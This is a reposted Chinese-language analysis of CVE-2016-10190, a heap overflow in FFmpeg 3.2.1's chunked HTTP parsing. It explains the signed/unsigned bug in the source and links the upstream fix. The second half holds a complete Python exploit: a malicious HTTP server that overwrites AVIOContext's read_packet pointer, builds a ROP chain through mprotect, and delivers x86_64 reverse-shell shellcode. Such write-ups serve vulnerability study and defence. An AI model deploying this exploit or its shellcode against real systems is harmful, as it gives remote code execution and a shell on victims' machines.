轉-CVE-2016-10190淺析-FFmpeg堆溢出漏洞
本文轉載自CVE-2016-10190 FFmpeg Heap Overflow 漏洞分析及利用
前言
FFmpeg是一個著名的處理音視頻的開源項目,使用者眾多。2016年末paulcher發現FFmpeg三個堆溢出漏洞分別為CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文詳細分析了CVE-2016-10190,是二進制安全入門學習堆溢出一個不錯的案例。
操作系統:Ubuntu 16.04 x64
FFmpeg版本:3.2.1按照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu編譯
漏洞分析
此漏洞是發生在處理HTTP流時,讀取HTTP流的過程大概如下。avformat_open_input函數初始化輸入文件的主要信息,其中與漏洞有關的是創建AVIOContext結構體,如果輸入文件是HTTP流則調用http_open函數發起請求,調用http_read_header函數解析響應數據的頭信息,解析完後調用avio_read->io_read_packet->http_read->http_read_stream函數讀取之後的數據。首先看下http_read_stream函數。
static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
int err, new_location, read_ret;
int64_t seek_ret;
...
if (s->chunksize >= 0) {
if (!s->chunksize) {
char line[32];
do {
if ((err = http_get_line(s, line, sizeof(line))) < 0)
return err;
} while (!*line); /* skip CR LF from last chunk */
s->chunksize = strtoll(line, NULL, 16);
av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"‘\n",
s->chunksize);
if (!s->chunksize)
return 0;
}
size = FFMIN(size, s->chunksize);
}
...
read_ret = http_buf_read(h, buf, size);
...
return read_ret;
}
上面s->chunksize = strtoll(line, NULL, 16)
這一行代碼是讀取chunk的大小,這裏調用strtoll函數返回一個有符號數,再看HTTPContext結構體。
typedef struct HTTPContext {
const AVClass *class;
URLContext *hd;
unsigned char buffer[BUFFER_SIZE], *buf_ptr, *buf_end;
int line_count;
int http_code;
/* Used if "Transfer-Encoding: chunked" otherwise -1. */
int64_t chunksize;
...
} HTTPContext;
可以看到chunksize為int64_t類型也是有符號數,當執行size = FFMIN(size, s->chunksize)
這行代碼時,由於傳進來的size=0x8000,如果之前的strtoll函數返回一個負數,這樣就會導致size = s->chunksize
也為一個負數,之後執行到read_ret = http_buf_read(h, buf, size)
,看下http_buf_read函數。
static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
int len;
/* read bytes from input buffer first */
len = s->buf_end - s->buf_ptr;
if (len > 0) {
if (len > size)
len = size;
memcpy(buf, s->buf_ptr, len);
s->buf_ptr += len;
} else {
int64_t target_end = s->end_off ? s->end_off : s->filesize;
if ((!s->willclose || s->chunksize < 0) &&
target_end >= 0 && s->off >= target_end)
return AVERROR_EOF;
len = ffurl_read(s->hd, buf, size);
...
}
...
return len;
}
上面代碼else分支執行到len = ffurl_read(s->hd, buf, size)
,而ffurl_read中又會調用tcp_read函數(函數指針的方式)來讀取之後真正的數據,最後看tcp_read函數。
static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
TCPContext *s = h->priv_data;
int ret;
if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
ret = ff_network_wait_fd_timeout(s->fd, 0, h->rw_timeout, &h->interrupt_callback);
if (ret)
return ret;
}
ret = recv(s->fd, buf, size, 0);
return ret < 0 ? ff_neterrno() : ret;
}
當執行到ret = recv(s->fd, buf, size, 0)時,如果size為負數,recv函數會把size轉換成無符號數變成一個很大的正數,而buf指向的又是堆上的空間,這樣就可能導致堆溢出,如果溢出覆蓋一個函數指針就可能導致遠程代碼執行。
漏洞利用
在http_read_stream函數裏想要執行s->chunksize = strtoll(line, NULL, 16)
需要s->chunksize >= 0
,看下發送請求後http_read_header函數中解析響應數據裏每個請求頭的函數process_line。
static int process_line(URLContext *h, char *line, int line_count,
int *new_location)
{
HTTPContext *s = h->priv_data;
const char *auto_method = h->flags & AVIO_FLAG_READ ? "POST" : "GET";
char *tag, *p, *end, *method, *resource, *version;
int ret;
/* end of header */
if (line[0] == ‘\0‘) {
s->end_header = 1;
return 0;
}
p = line;
if (line_count == 0) {
...
} else {
while (*p != ‘\0‘ && *p != ‘:‘)
p++;
if (*p != ‘:‘)
return 1;
*p = ‘\0‘;
tag = line;
p++;
while (av_isspace(*p))
p++;
if (!av_strcasecmp(tag, "Location")) {
if ((ret = parse_location(s, p)) < 0)
return ret;
*new_location = 1;
} else if (!av_strcasecmp(tag, "Content-Length") && s->filesize == -1) {
s->filesize = strtoll(p, NULL, 10);
} else if (!av_strcasecmp(tag, "Content-Range")) {
parse_content_range(h, p);
} else if (!av_strcasecmp(tag, "Accept-Ranges") &&
!strncmp(p, "bytes", 5) &&
s->seekable == -1) {
h->is_streamed = 0;
} else if (!av_strcasecmp(tag, "Transfer-Encoding") &&
!av_strncasecmp(p, "chunked", 7)) {
s->filesize = -1;
s->chunksize = 0;
}
...
}
return 1;
}
可以看到當請求頭中包含Transfer-Encoding: chunked時會把s->filesize賦值-1、s->chunksize賦值0。下面看下漏洞利用的整個調試過程,先發送包含Transfer-Encoding: chunked的請求頭,然後avio_read函數中會循環調用s->read_packet指向的函數指針io_read_packet讀取請求頭之後的數據。
同時看下AVIOContext結構體參數。
之後來到http_read_stream函數。
可以看到s->chunksize == 0
,這時服務器發送chunk的大小為-1,然後就會執行s->chunksize = strtoll(line, NULL, 16)
把s->chunksize
賦值為-1,並在執行size = FFMIN(size, s->chunksize)
後把size賦值為-1,之後來到http_buf_read函數。
這裏len == 0
會轉而執行else分支,又由於s->end_off == 0 && s->filesize == -1
,這樣就會執行到len = ffurl_read(s->hd, buf, size)
,ffurl_read中會調用tcp_read函數執行到ret = recv(s->fd, buf, size, 0)
。
可以看到buf的地址是0x229fd20,而之前的AVIOContext的地址為0x22a7d80,因此buf在讀入0x22a7d80 - 0x229fd20 = 0x8060
字節後就可以溢出到AVIOContext結構體,這裏溢出覆蓋它的read_packet函數指針。
這樣在avio_read函數中循環進行下一次讀取的時候就控制了PC。
最後利用成功反彈shell的演示。
完整EXP根據https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6修改。如圖所示,我在嘗試的過程中發現主要需要修改的地方在於這幾個ROP gadgets的地址。此外要註意ffmpeg是不帶符號信息,ffmpeg_g帶符號信息,調試的時候應該使用ffmpeg_g。
#!/usr/bin/python
import os
import sys
import socket
from time import sleep
from pwn import *
bind_ip = ‘0.0.0.0‘
bind_port = 12345
headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
elf = ELF(‘/root/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg‘)
shellcode_location = 0x1b28000 # require writeable -> data or bss segment...
page_size = 0x1000
rwx_mode = 7
gadget = lambda x: next(elf.search(asm(x, os=‘linux‘, arch=‘amd64‘)))
pop_rdi = gadget(‘pop rdi; ret‘)
log.info("pop_rdi:%#x" % pop_rdi)
pop_rsi = gadget(‘pop rsi; ret‘)
log.info("pop_rsi:%#x" % pop_rsi)
pop_rax = gadget(‘pop rax; ret‘)
log.info("pop_rax:%#x" % pop_rax)
pop_rcx = gadget(‘pop rcx; ret‘)
log.info("pop_rcx:%#x" % pop_rcx)
pop_rdx = gadget(‘pop rdx; ret‘)
log.info("pop_rdx:%#x" % pop_rdx)
pop_rbp = gadget(‘pop rbp; ret‘)
log.info("pop_rbp:%#x" % pop_rbp)
push_rbx = gadget(‘push rbx; jmp rdi‘)
log.info("push_rbx:%#x" % push_rbx)
pop_rsp = gadget(‘pop rsp; ret‘)
log.info("pop_rsp:%#x" % pop_rsp)
add_rsp = gadget(‘add rsp, 0x58‘)
mov_gadget = gadget(‘mov qword ptr [rcx], rax ; ret‘)
log.info("mov_gadget:%#x" % mov_gadget)
mprotect_func = elf.plt[‘mprotect‘]
log.info("mprotect_func:%#x" % mprotect_func)
read_func = elf.plt[‘read‘]
log.info("read_func:%#x" % read_func)
def handle_request(client_socket):
request = client_socket.recv(2048)
print request
payload = ‘‘
payload += ‘C‘ * (0x8060)
payload += p64(0x004a84d9) # rop starts here -> add rsp, 0x58 ; ret
payload += ‘CCCCCCCC‘ * 4
payload += p64(pop_rsp) # rdi -> pop rsp ; ret
payload += p64(0x011eba15) # call *%rax -> push rbx ; jmp rdi
payload += ‘BBBBBBBB‘ * 3
payload += ‘AAAA‘
payload += p32(0)
payload += ‘AAAAAAAA‘
payload += p64(0x004a84d9) # second add_esp rop to jump to uncorrupted chunk -> add rsp, 0x58 ; ret
payload += ‘XXXXXXXX‘ * 11
# real rop payload starts here
#
# using mprotect to create executable area
payload += p64(pop_rdi)
payload += p64(shellcode_location)
payload += p64(pop_rsi)
payload += p64(page_size)
payload += p64(pop_rdx)
payload += p64(rwx_mode)
payload += p64(mprotect_func)
# backconnect shellcode x86_64: 127.0.0.1:31337
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
shellcode = ‘\x90‘ * (8 - (len(shellcode) % 8)) + shellcode
shellslices = map(‘‘.join, zip(*[iter(shellcode)]*8))
write_location = shellcode_location - 8
for shellslice in shellslices:
payload += p64(pop_rax)
payload += shellslice
payload += p64(pop_rcx)
payload += p64(write_location)
payload += p64(mov_gadget)
write_location += 8
payload += p64(pop_rbp)
payload += p64(4)
payload += p64(shellcode_location)
client_socket.send(headers)
client_socket.send(‘-1\n‘)
sleep(5)
client_socket.send(payload)
client_socket.close()
if __name__ == ‘__main__‘:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, bind_port))
s.listen(5)
filename = os.path.basename(__file__)
st = os.stat(filename)
while True:
client_socket, addr = s.accept()
handle_request(client_socket)
if os.stat(filename) != st:
print ‘restarted‘
sys.exit(0)
總結
此漏洞主要是由於沒有正確定義有無符號數的類型導致覆蓋函數指針來控制PC,微軟在Windows 10中加入了CFG(Control Flow Guard)正是來緩解這種類型的攻擊,此漏洞已在https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa中修復。另外對於靜態編譯的版本,ROP gadget較多,相對好利用,對於動態鏈接的版本,此漏洞在libavformat.so中,找到合適的gadget會有一定難度,但並非沒有利用的可能。
轉-CVE-2016-10190淺析-FFmpeg堆溢出漏洞